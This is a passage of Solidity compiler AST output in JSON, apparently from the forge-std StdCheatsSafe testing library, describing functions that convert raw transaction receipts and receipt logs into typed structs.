StdCheatsSafe.RawReceipt"}},"id":4823,"nodeType":"ArrayTypeName","src":"16077:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceipt_$3666_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt[]"}},"visibility":"internal"}],"src":"16076:33:3"},"returnParameters":{"id":4830,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4829,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4869,"src":"16141:16:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.Receipt[]"},"typeName":{"baseType":{"id":4827,"nodeType":"UserDefinedTypeName","pathNode":{"id":4826,"name":"Receipt","nameLocations":["16141:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16141:7:3"},"referencedDeclaration":3695,"src":"16141:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"id":4828,"nodeType":"ArrayTypeName","src":"16141:9:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Receipt_$3695_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.Receipt[]"}},"visibility":"internal"}],"src":"16140:18:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":4990,"nodeType":"FunctionDefinition","src":"16398:962:3","nodes":[],"body":{"id":4989,"nodeType":"Block","src":"16506:854:3","nodes":[],"statements":[{"assignments":[4880],"declarations":[{"constant":false,"id":4880,"mutability":"mutable","name":"receipt","nameLocation":"16531:7:3","nodeType":"VariableDeclaration","scope":4989,"src":"16516:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4879,"nodeType":"UserDefinedTypeName","pathNode":{"id":4878,"name":"Receipt","nameLocations":["16516:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16516:7:3"},"referencedDeclaration":3695,"src":"16516:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"id":4881,"nodeType":"VariableDeclarationStatement","src":"16516:22:3"},{"expression":{"id":4887,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4882,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16548:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4884,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16556:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3668,"src":"16548:17:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4885,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16568:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4886,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16579:9:3","memberName":"blockHash","nodeType":"MemberAccess","referencedDeclaration":3639,"src":"16568:20:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"16548:40:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4888,"nodeType":"ExpressionStatement","src":"16548:40:3"},{"expression":{"id":4894,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4889,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16598:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4891,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16606:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3690,"src":"16598:10:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4892,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16611:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4893,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16622:2:3","memberName":"to","nodeType":"MemberAccess","referencedDeclaration":3661,"src":"16611:13:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16598:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4895,"nodeType":"ExpressionStatement","src":"16598:26:3"},{"expression":{"id":4901,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4896,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16634:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4898,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16642:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3678,"src":"16634:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4899,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16649:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4900,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16660:4:3","memberName":"from","nodeType":"MemberAccess","referencedDeclaration":3649,"src":"16649:15:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16634:30:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4902,"nodeType":"ExpressionStatement","src":"16634:30:3"},{"expression":{"id":4908,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4903,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16674:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4905,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16682:15:3","memberName":"contractAddress","nodeType":"MemberAccess","referencedDeclaration":3672,"src":"16674:23:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4906,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16700:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4907,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16711:15:3","memberName":"contractAddress","nodeType":"MemberAccess","referencedDeclaration":3643,"src":"16700:26:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"16674:52:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":4909,"nodeType":"ExpressionStatement","src":"16674:52:3"},{"expression":{"id":4917,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4910,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16736:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4912,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16744:17:3","memberName":"effectiveGasPrice","nodeType":"MemberAccess","referencedDeclaration":3676,"src":"16736:25:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4914,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16777:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4915,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16788:17:3","memberName":"effectiveGasPrice","nodeType":"MemberAccess","referencedDeclaration":3647,"src":"16777:28:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4913,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16764:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4916,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16764:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16736:70:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4918,"nodeType":"ExpressionStatement","src":"16736:70:3"},{"expression":{"id":4926,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4919,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16816:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4921,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16824:17:3","memberName":"cumulativeGasUsed","nodeType":"MemberAccess","referencedDeclaration":3674,"src":"16816:25:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4923,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16857:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4924,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16868:17:3","memberName":"cumulativeGasUsed","nodeType":"MemberAccess","referencedDeclaration":3645,"src":"16857:28:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4922,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16844:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4925,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16844:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16816:70:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4927,"nodeType":"ExpressionStatement","src":"16816:70:3"},{"expression":{"id":4935,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4928,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16896:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4930,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16904:7:3","memberName":"gasUsed","nodeType":"MemberAccess","referencedDeclaration":3680,"src":"16896:15:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4932,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16927:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4933,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16938:7:3","memberName":"gasUsed","nodeType":"MemberAccess","referencedDeclaration":3651,"src":"16927:18:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4931,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16914:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4934,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16914:32:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16896:50:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4936,"nodeType":"ExpressionStatement","src":"16896:50:3"},{"expression":{"id":4944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4937,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"16956:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4939,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"16964:6:3","memberName":"status","nodeType":"MemberAccess","referencedDeclaration":3688,"src":"16956:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4941,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"16986:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4942,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"16997:6:3","memberName":"status","nodeType":"MemberAccess","referencedDeclaration":3659,"src":"16986:17:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4940,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"16973:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4943,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16973:31:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"16956:48:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4945,"nodeType":"ExpressionStatement","src":"16956:48:3"},{"expression":{"id":4953,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4946,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17014:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4948,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17022:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3694,"src":"17014:24:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4950,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17054:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4951,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17065:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3665,"src":"17054:27:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4949,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17041:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4952,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17041:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17014:68:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4954,"nodeType":"ExpressionStatement","src":"17014:68:3"},{"expression":{"id":4962,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4955,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17092:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4957,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17100:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3670,"src":"17092:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4959,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17127:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4960,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17138:11:3","memberName":"blockNumber","nodeType":"MemberAccess","referencedDeclaration":3641,"src":"17127:22:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":4958,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"17114:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":4961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17114:36:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17092:58:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":4963,"nodeType":"ExpressionStatement","src":"17092:58:3"},{"expression":{"id":4971,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4964,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17160:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4966,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17168:4:3","memberName":"logs","nodeType":"MemberAccess","referencedDeclaration":3684,"src":"17160:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"id":4968,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17201:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4969,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17212:4:3","memberName":"logs","nodeType":"MemberAccess","referencedDeclaration":3655,"src":"17201:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}],"id":4967,"name":"rawToConvertedReceiptLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5127,"src":"17175:25:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr_$returns$_t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct StdCheatsSafe.RawReceiptLog memory[] memory) pure returns (struct StdCheatsSafe.ReceiptLog memory[] memory)"}},"id":4970,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17175:42:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"src":"17160:57:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":4972,"nodeType":"ExpressionStatement","src":"17160:57:3"},{"expression":{"id":4978,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4973,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17227:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4975,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17235:9:3","memberName":"logsBloom","nodeType":"MemberAccess","referencedDeclaration":3686,"src":"17227:17:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4976,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17247:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4977,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17258:9:3","memberName":"logsBloom","nodeType":"MemberAccess","referencedDeclaration":3657,"src":"17247:20:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"17227:40:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":4979,"nodeType":"ExpressionStatement","src":"17227:40:3"},{"expression":{"id":4985,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":4980,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17277:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"id":4982,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"17285:15:3","memberName":"transactionHash","nodeType":"MemberAccess","referencedDeclaration":3692,"src":"17277:23:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":4983,"name":"rawReceipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4872,"src":"17303:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt memory"}},"id":4984,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17314:15:3","memberName":"transactionHash","nodeType":"MemberAccess","referencedDeclaration":3663,"src":"17303:26:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"17277:52:3","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":4986,"nodeType":"ExpressionStatement","src":"17277:52:3"},{"expression":{"id":4987,"name":"receipt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4880,"src":"17346:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt memory"}},"functionReturnParameters":4877,"id":4988,"nodeType":"Return","src":"17339:14:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceipt","nameLocation":"16407:21:3","parameters":{"id":4873,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4872,"mutability":"mutable","name":"rawReceipt","nameLocation":"16447:10:3","nodeType":"VariableDeclaration","scope":4990,"src":"16429:28:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_memory_ptr","typeString":"struct StdCheatsSafe.RawReceipt"},"typeName":{"id":4871,"nodeType":"UserDefinedTypeName","pathNode":{"id":4870,"name":"RawReceipt","nameLocations":["16429:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3666,"src":"16429:10:3"},"referencedDeclaration":3666,"src":"16429:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceipt_$3666_storage_ptr","typeString":"struct StdCheatsSafe.RawReceipt"}},"visibility":"internal"}],"src":"16428:30:3"},"returnParameters":{"id":4877,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4876,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":4990,"src":"16490:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_memory_ptr","typeString":"struct StdCheatsSafe.Receipt"},"typeName":{"id":4875,"nodeType":"UserDefinedTypeName","pathNode":{"id":4874,"name":"Receipt","nameLocations":["16490:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3695,"src":"16490:7:3"},"referencedDeclaration":3695,"src":"16490:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Receipt_$3695_storage_ptr","typeString":"struct StdCheatsSafe.Receipt"}},"visibility":"internal"}],"src":"16489:16:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":5127,"nodeType":"FunctionDefinition","src":"17366:873:3","nodes":[],"body":{"id":5126,"nodeType":"Block","src":"17521:718:3","nodes":[],"statements":[{"assignments":[5005],"declarations":[{"constant":false,"id":5005,"mutability":"mutable","name":"logs","nameLocation":"17551:4:3","nodeType":"VariableDeclaration","scope":5126,"src":"17531:24:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":5003,"nodeType":"UserDefinedTypeName","pathNode":{"id":5002,"name":"ReceiptLog","nameLocations":["17531:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17531:10:3"},"referencedDeclaration":3783,"src":"17531:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":5004,"nodeType":"ArrayTypeName","src":"17531:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct 